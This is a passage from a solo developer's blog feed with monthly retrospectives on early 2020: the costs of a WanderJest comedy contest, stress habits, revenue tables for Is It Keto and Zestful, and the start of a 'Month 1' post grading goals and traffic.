&lt;h2 id="100-in-revenue-but-at-what-cost">$100 in revenue, but at what cost?&lt;/h2>
&lt;p>My plan for revenue was to have show organizers contribute money to the contest. I expected to lose money overall since I was offering $400 in prize money and expected to collect an optimistic maximum of $250, but I was happy to take that loss as a marketing expense. Unfortunately, with the frosty response I had from fans and press leading up to the contest, I had nothing to convince venues that there was value in contributing, except for my hopes of what &lt;em>could&lt;/em> happen.&lt;/p>
&lt;p>By February 29th, I was still at $0 in revenue. Thank goodness for &lt;a href="https://www.youtube.com/watch?v=uK0KTH0ezgc">Leap Day&lt;/a>, because in the final 24 hours before the deadline, five separate show producers contributed a total of $100 to the contest.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/scavenger-cards.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/scavenger-cards_hu_eaae20f781d83005.jpg 300w, https://mtlynch.io/retrospectives/2020/03/scavenger-cards_hu_59d583951c8ec3a6.jpg 600w, https://mtlynch.io/retrospectives/2020/03/scavenger-cards_hu_61170cd67ff68564.jpg 800w, https://mtlynch.io/retrospectives/2020/03/scavenger-cards_hu_5f6e2164306fb5fd.jpg 1200w, https://mtlynch.io/retrospectives/2020/03/scavenger-cards.jpg 2515w'
 src="https://mtlynch.io/retrospectives/2020/03/scavenger-cards.jpg" alt="Photo of WanderJest promotional cards" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Promotional cards I printed and will distribute at local shows to encourage contest participation.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m trying as hard as I can to ensure that each partner earns a return on their investment, even if it means I lose a lot more money. I had hoped the contest would market itself on social media, but since that&amp;rsquo;s not happening, I ordered business cards and flyers and am hiring someone to distribute them in the area.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Expense&lt;/th>
 &lt;th>Cost&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Contest prizes&lt;/td>
 &lt;td>$400&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphic design&lt;/td>
 &lt;td>$140&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Flyer printing (150 color flyers)&lt;/td>
 &lt;td>$83&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Flyer distribution&lt;/td>
 &lt;td>$110&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Promotional cards&lt;/td>
 &lt;td>$215&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Facebook ads&lt;/td>
 &lt;td>$50&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$998&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>This contest is going to cost about $1k. In other words, each dollar I earned cost me ten. This is not what &lt;a href="https://steveblank.com/2014/03/04/why-companies-are-not-startups/">Steve Blank&lt;/a> would describe as &amp;ldquo;a repeatable and scalable business model.&amp;rdquo;&lt;/p>
&lt;p>I never thought it would be so hard to give people free money! I&amp;rsquo;m essentially spending an extra $600 to let people know that I want to give away $400.&lt;/p>
&lt;p>That said, converting this to a profitable model might not be so hard. If I demonstrate that the contest consistently brings in, say, 5-10 extra people per show, then it should be a no-brainer for organizers to pay $20/show to participate in the future.&lt;/p>
&lt;p>It&amp;rsquo;s my first time attempting anything like this, so I&amp;rsquo;m sort of throwing everything at the wall to see what sticks. I suspect that certain advertising channels will work better than others, people will get especially excited about one or two prize categories, and certain shows will draw more contest participants. After the contest, if it works, I should hopefully be able to spend less because I can focus my investments better.&lt;/p>
&lt;h2 id="managing-stress">Managing stress&lt;/h2>
&lt;p>Throughout 2019, I maintained &lt;a href="https://mtlynch.io/eliminate-distractions/">sane habits for social media&lt;/a> and work-life balance. Unfortunately, since I started WanderJest, most of them have gone out the window.&lt;/p>
&lt;p>It was easier to manage social media when it was an objectively non-essential part of my day, but WanderJest is inextricably linked to social media. Almost everyone announces their shows exclusively on Facebook, and the de facto channel for private messages in the comedy world is Facebook Messenger. I used to observe firm rules about ending work after dinner, but comedy shows happen at night, and when comedians agree to a meeting, the easiest time is before or after shows.&lt;/p>
&lt;p>The contest is also stressful, as it&amp;rsquo;s a Big Event with inflexible deadlines, outside vendors I depend on, and partners depending on me to deliver. It&amp;rsquo;s also failing to gain traction, which leads to more worry.&lt;/p>
&lt;p>I find it helpful to think about worst-case scenarios, so for this contest, the worst outcome would be a near-zero participation rate. It will be embarrassing to have such a public failure, but the upside will be a clear sign that WanderJest&amp;rsquo;s model needs to change drastically. Show organizers who contributed money might be disappointed, but hopefully they&amp;rsquo;d recognize how hard I worked in trying to bring them audiences.&lt;/p>
&lt;p>Here&amp;rsquo;s my plan for reducing stress going forward:&lt;/p>
&lt;ul>
&lt;li>When I have WanderJest-related activities at night, think of it as a time-swap rather than a late workday.
&lt;ul>
&lt;li>If I&amp;rsquo;m going to be at a show for three hours in the evening, stop work three hours before dinner to work on personal tasks.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Check social media and email more purposefully at scheduled times or for specific time-sensitive reasons.&lt;/li>
&lt;li>Switch to a social media management tool like &lt;a href="https://buffer.com">Buffer&lt;/a> or &lt;a href="https://hootsuite.com/">HootSuite&lt;/a>.
&lt;ul>
&lt;li>It&amp;rsquo;ll be better if I can perform some of WanderJest&amp;rsquo;s social media work without having to log in to the suck-you-in social media platforms themselves.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="legacy-projects">Legacy projects&lt;/h2>
&lt;p>Here are some brief updates on projects that I still maintain but are not the primary focus of my development:&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>63,465&lt;/td>
 &lt;td>47,698&lt;/td>
 &lt;td>&lt;font color="red">-15,767 (-25%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>160,607&lt;/td>
 &lt;td>123,288&lt;/td>
 &lt;td>&lt;font color="red">-37,319 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>14&lt;/td>
 &lt;td>16&lt;/td>
 &lt;td>&lt;font color="green">+2 (+14%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>3,120&lt;/td>
 &lt;td>2,220&lt;/td>
 &lt;td>&lt;font color="red">-900 (-29%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$423.57&lt;/td>
 &lt;td>$286.95&lt;/td>
 &lt;td>&lt;font color="red">-$136.62 (-32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$345.04&lt;/td>
 &lt;td>$395.67&lt;/td>
 &lt;td>&lt;font color="green">+$50.63 (+15%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Meal Plan Sales&lt;/td>
 &lt;td>$18.10&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$18.10 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$786.71&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$682.62&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$104.09 (-13%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Numbers are down for Is It Keto, but that&amp;rsquo;s misleading because January was an anomalously profitable month. There&amp;rsquo;s always a big surge of interest in January due to people starting the keto diet for their new year&amp;rsquo;s resolutions, but it fades within weeks.&lt;/p>
&lt;p>$682 in revenue is surprisingly strong revenue for Is It Keto. I had expected numbers to drop to their December levels of ~$400, but February&amp;rsquo;s revenue was the site&amp;rsquo;s second-highest in history.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;th>February 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>1,723&lt;/td>
 &lt;td>877&lt;/td>
 &lt;td>&lt;font color="red">-846 (-49%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>4,078&lt;/td>
 &lt;td>2,578&lt;/td>
 &lt;td>&lt;font color="red">-1,500 (-37%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$79.67&lt;/td>
 &lt;td>$2.27&lt;/td>
 &lt;td>&lt;font color="red">-$77.40 (-97%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$79.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$2.27&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$77.40 (-97%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful had a dead month, but that&amp;rsquo;s also not surprising given that Zestful&amp;rsquo;s revenue is bursty.&lt;/p>
&lt;p>I&amp;rsquo;ve been in talks with a startup trying to build a competitor to &lt;a href="https://rapidapi.com">RapidAPI&lt;/a>, and they&amp;rsquo;ve offered to create PyPI and npm packages for Zestful. If that comes together, that could provide a new stream of revenue.&lt;/p>
&lt;h2 id="interesting-discoveries">Interesting discoveries&lt;/h2>
&lt;h3 id="wakatime">WakaTime&lt;/h3>
&lt;p>After the blog post about &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">my second anniversary as a solo developer&lt;/a>, Alan Hamlett emailed me offering a free premium account for his service, &lt;a href="https://wakatime.com/">WakaTime&lt;/a>. It&amp;rsquo;s a plugin that records metrics about the way that you develop software, so it reports how long you spend writing code vs. compiling.&lt;/p>
&lt;p>At first, WakaTime didn&amp;rsquo;t sound like something I&amp;rsquo;d want, but then I realized it could answer a question I&amp;rsquo;ve had for a long time: how long do I spend writing this blog? I find writing to be incredibly valuable, but I also need to be mindful of its significant time cost.&lt;/p>
&lt;p>Long ago, I experimented with tools like &lt;a href="https://www.rescuetime.com">RescueTime&lt;/a> but promptly stopped when it dawned on me that I was basically installing a spyware tool that sent everything on my screen to an untrusted company. I like WakaTime because the client software is &lt;a href="https://github.com/wakatime">open source&lt;/a>, and they treat privacy as a first-class concern. It doesn&amp;rsquo;t record any sensitive information except for filenames in your code editor, and even those you can obfuscate or exclude client-side. I do my coding in dedicated virtual machines for each project, so WakaTime only has access to specific projects where I install the tool.&lt;/p>
&lt;p>This is the first post I&amp;rsquo;ve written since installing WakaTime, and I can see that it took me 7 hours and 12 minutes to write (including updating &lt;a href="https://github.com/mtlynch/make-mtlynch-stats">the script I use&lt;/a> to spit out my stats tables). That&amp;rsquo;s pretty close to what I expected. I generally dedicate half of the first two days of the month to writing my retrospective post, so that feels like the right amount of time.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/03/wakatime.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/03/wakatime_hu_5a6db0bcf5be9f08.jpg 300w, https://mtlynch.io/retrospectives/2020/03/wakatime_hu_ac6bc13bc2d49180.jpg 600w, https://mtlynch.io/retrospectives/2020/03/wakatime_hu_763a602b1ab0fef1.jpg 800w, https://mtlynch.io/retrospectives/2020/03/wakatime_hu_c3fc429c05f527a.jpg 1200w, https://mtlynch.io/retrospectives/2020/03/wakatime.jpg 1556w'
 src="https://mtlynch.io/retrospectives/2020/03/wakatime.jpg" alt="Screenshot of WakaTime dashboard" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://wakatime.com">WakaTime&lt;/a> dashboard showing the time I spent authoring this post.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m liking WakaTime more than expected, and I&amp;rsquo;m even considering it for my non-blog projects.&lt;/p>
&lt;h3 id="dk-the-human">DK the Human&lt;/h3>
&lt;p>&lt;a href="https://www.dkthehuman.com">DK&lt;/a> is an indie developer working on a Chrome extension called &lt;a href="https://www.hidefeed.com/">Hide Feed&lt;/a>, which helps you control distractions on social media sites. Every day, he updates his &lt;a href="https://www.notion.so/dkthehuman/Maker-Log-c3be0bb060774c8ba296b3819ac2407b">daily log&lt;/a> to share progress on his business or to think through a problem. If you want a peek into the day-to-day life of a solo developer, his blog is illuminating.&lt;/p>
&lt;p>DK kindly made a &amp;ldquo;Feedback Friday&amp;rdquo; video for my tool, &lt;a href="https://whatgotdone.com">What Got Done&lt;/a>, in which he recorded himself using the website for the first time and narrating his thought process aloud to identify parts of the app that are confusing or need improvement:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/JnAAkjS4x6k?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>The video was tremendously valuable and turned up &lt;a href="https://github.com/mtlynch/whatgotdone/issues?utf8=%E2%9C%93&amp;amp;q=label%3Adk+">13 new bugs&lt;/a>, many of which I&amp;rsquo;ve since fixed.&lt;/p>
&lt;h3 id="two-good-indie-hackers-podcast-episodes">Two good Indie Hackers podcast episodes&lt;/h3>
&lt;p>In the span of two weeks, the &lt;a href="https://www.indiehackers.com/podcast">Indie Hackers podcast&lt;/a> published two of my favorite episodes in recent memory:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.indiehackers.com/podcast/147-cory-zue-of-place-card-me">Maximizing Fun on the Path to Independence with Cory Zue of Place Card Me&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.indiehackers.com/podcast/150-jen-yip-of-lunch-money">Acquiring the Experience to Make It as a Solo Founder with Jen Yip of Lunch Money&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>These episodes resonated with me because Cory and Jen are both solo developer founders, they both write publicly about their progress (&lt;a href="http://www.coryzue.com/">Cory&amp;rsquo;s blog&lt;/a>, &lt;a href="https://lunchbag.ca">Jen&amp;rsquo;s blog&lt;/a>), and they both feel comfortable building their companies with slow, steady growth.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Organized and launched my first-ever marketing contest.
&lt;ul>
&lt;li>Wrote my first &lt;a href="https://wanderjest.com/press/scavenger-hunt-press-release-2020-02-20.pdf">press release&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Added self-serve performer and fan profiles to WanderJest.&lt;/li>
&lt;li>Pitched WanderJest at &lt;a href="https://valleyventurementors.org">Valley Venture Mentors&lt;/a>.
&lt;ul>
&lt;li>VVM is an organization that offers mentorship and resources to startups in Western Massachusetts.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>When collecting payments from people, use online forms as much as possible.
&lt;ul>
&lt;li>I gave a few people my direct PayPal address, which led to confusion about (or ignoring of) payment deadlines.&lt;/li>
&lt;li>With online payment forms, there&amp;rsquo;s less room for ambiguity about what the customer is purchasing, and I can adjust pricing after a discount deadline expires without it coming across as personal or confrontational.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Send press releases to individual reporters, not to the general editor.
&lt;ul>
&lt;li>If you&amp;rsquo;re sending out a press release that the publication might not pick up, send it to an individual reporter with a personalized message about why you chose them.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>It&amp;rsquo;s harder than you&amp;rsquo;d expect to get people excited about a free cash giveaway contest.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Get 40 new user signups to WanderJest.&lt;/li>
&lt;li>Conduct eight customer interviews.&lt;/li>
&lt;li>Present &lt;a href="https://nerdsummit.org/#17">my talk at NERD Summit&lt;/a>.&lt;/li>
&lt;li>Limit work to eight hours a day and check social media only as scheduled.&lt;/li>
&lt;/ul></content:encoded></item><item><title>WanderJest: Month 1</title><link>https://mtlynch.io/retrospectives/2020/02/</link><pubDate>Wed, 05 Feb 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/02/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Three businesses agreed to form affiliate partnerships with WanderJest.&lt;/li>
&lt;li>Two of my blog posts reached the front page of &lt;a href="https://news.ycombinator.com/news">Hacker News&lt;/a>.&lt;/li>
&lt;li>Is It Keto earned its all-time-highest monthly revenue, doubling its previous record.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2020/01/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="earn-my-first-dollar-of-revenue-from-wanderjest">Earn my first dollar of revenue from WanderJest&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I didn&amp;rsquo;t make money, though I formed affiliate partnerships that have potential.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
&lt;p>The quickest path to earn revenue for WanderJest is affiliate deals with local shows. I formed some agreements but haven&amp;rsquo;t earned any money from them yet.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>Three businesses agreed to form affiliate partnerships with WanderJest.&lt;/li>
&lt;li>Two of my blog posts reached the front page of &lt;a href="https://news.ycombinator.com/news">Hacker News&lt;/a>.&lt;/li>
&lt;li>Is It Keto earned its all-time-highest monthly revenue, doubling its previous record.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I &lt;a href="https://mtlynch.io/retrospectives/2020/01/#goals-for-next-month">declare what I&amp;rsquo;d like to accomplish&lt;/a>. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="earn-my-first-dollar-of-revenue-from-wanderjest">Earn my first dollar of revenue from WanderJest&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I didn&amp;rsquo;t make money, though I formed affiliate partnerships that have potential.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: C-&lt;/li>
&lt;/ul>
&lt;p>The quickest path to earn revenue for WanderJest is affiliate deals with local shows. I formed some agreements but haven&amp;rsquo;t earned any money from them yet.&lt;/p>
&lt;h3 id="conduct-eight-interviews-for-wanderjest-with-comedians-bookers-promoters-and-venue-owners">Conduct eight interviews for WanderJest with comedians, bookers, promoters, and venue owners&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Conducted 10+ customer interviews&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I conducted more than 10 customer interviews and lost count after that. The conversations were useful, but I&amp;rsquo;ve got all the feedback I need for the next few weeks. After the first eight or so conversations, I wasn&amp;rsquo;t hearing anything new.&lt;/p>
&lt;h3 id="publish-a-follow-up-to--about-year-two">Publish a follow up to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">&amp;ldquo;My First Year as a Solo Developer,&amp;rdquo;&lt;/a> about year two&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">&amp;ldquo;My Second Year as a Solo Developer&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A+&lt;/li>
&lt;/ul>
&lt;p>This was useful to write, as it helped me re-evaluate my long term strategy. It garnered a strong response, especially on &lt;a href="https://news.ycombinator.com/item?id=22201337">Hacker News&lt;/a> and &lt;a href="https://redd.it/ewp2rw">reddit&lt;/a>, so I received lots of interesting feedback, most notably &lt;a href="https://news.ycombinator.com/item?id=22202301">from famed bootstrapper extraordinaire, patio11&lt;/a>.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>













 

 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 703px">



 &lt;a href="https://mtlynch.io/retrospectives/2020/02/wanderjest-google-analytics.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 703px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2020/02/wanderjest-google-analytics_hu_2bd46e7001f3f92d.jpg 300w, https://mtlynch.io/retrospectives/2020/02/wanderjest-google-analytics_hu_c10902b2f02dda25.jpg 600w, https://mtlynch.io/retrospectives/2020/02/wanderjest-google-analytics.jpg 701w'
 src="https://mtlynch.io/retrospectives/2020/02/wanderjest-google-analytics.jpg" alt="Screenshot of Google Analytics traffic" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>WanderJest visit statistics - January 2020&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="wanderjest">&lt;a href="https://wanderjest.com">WanderJest&lt;/a>&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>821&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>2,933&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>1.7&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Registered Users&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>New Affiliate Partners&lt;/td>
 &lt;td>3&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate Earnings&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$0.00&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It&amp;rsquo;s WanderJest&amp;rsquo;s first month, so I&amp;rsquo;m happy with its progress out of the gate. I wish I&amp;rsquo;d achieved some revenue, but I&amp;rsquo;m encouraged by how welcoming everyone has been when I approach them about setting up ad-hoc affiliate agreements.&lt;/p>
&lt;p>User engagement needs to improve. No users have created accounts yet, and that&amp;rsquo;s partially because they&amp;rsquo;ve only been available for a week and partially because the only thing an account lets someone do is write public reviews of shows.&lt;/p>
&lt;h3 id="is-it-keto">&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;div style="height: 1.5em">&lt;!-- hack to add whitespace between graph and table -->&lt;/div>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2019&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>26,891&lt;/td>
 &lt;td>63,465&lt;/td>
 &lt;td>&lt;font color="green">+36,574 (+136%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>68,389&lt;/td>
 &lt;td>160,607&lt;/td>
 &lt;td>&lt;font color="green">+92,218 (+135%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Rating (Ahrefs)&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>26.0&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$235.71&lt;/td>
 &lt;td>$423.57&lt;/td>
 &lt;td>&lt;font color="green">+$187.86 (+80%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$157.08&lt;/td>
 &lt;td>$345.04&lt;/td>
 &lt;td>&lt;font color="green">+$187.96 (+120%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Meal Plan Sales&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>$18.10&lt;/td>
 &lt;td>&lt;font color="green">+$18.10 (+inf%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$392.79&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$786.71&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$393.92 (+100%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Is It Keto had its biggest month ever. I wish I could claim credit, but January always brings a huge surge in traffic from new year&amp;rsquo;s resolution dieters. Unfortunately, this bump fades pretty quickly.&lt;/p>
&lt;p>I tried to capitalize on increased diet enthusiasm by bringing &lt;a href="https://mtlynch.io/retrospectives/2019/12/#giving-up-on-meal-plans">meal plans&lt;/a> back to the homepage and navbar, but I only made four sales in two weeks. That&amp;rsquo;s not enough to earn such prominent placement on the site, so I&amp;rsquo;ve once again relegated them to an obscure page two links deep.&lt;/p>
&lt;p>Is It Keto is officially in maintenance mode now. I had hoped the site&amp;rsquo;s freelance writer would reach self-sufficiency and continue adding content in the background. After three months of working with me, their articles still required me to edit them thoroughly, so I &lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">let the writer go&lt;/a> at the start of the month and stopped adding content.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2019&lt;/th>
 &lt;th>January 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>207&lt;/td>
 &lt;td>1,723&lt;/td>
 &lt;td>&lt;font color="green">+1,516 (+732%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Earnings&lt;/td>
 &lt;td>$50.43&lt;/td>
 &lt;td>$79.67&lt;/td>
 &lt;td>&lt;font color="green">+$29.24 (+58%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Plan Earnings&lt;/td>
 &lt;td>$3883.70&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$3883.70 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$3934.13&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$79.67&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$3854.46 (-98%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>It might appear that Zestful experienced a disastrous drop in revenue, but it&amp;rsquo;s just that &lt;a href="https://mtlynch.io/retrospectives/2020/01/#zestful">December&lt;/a> was a huge outlier.&lt;/p>
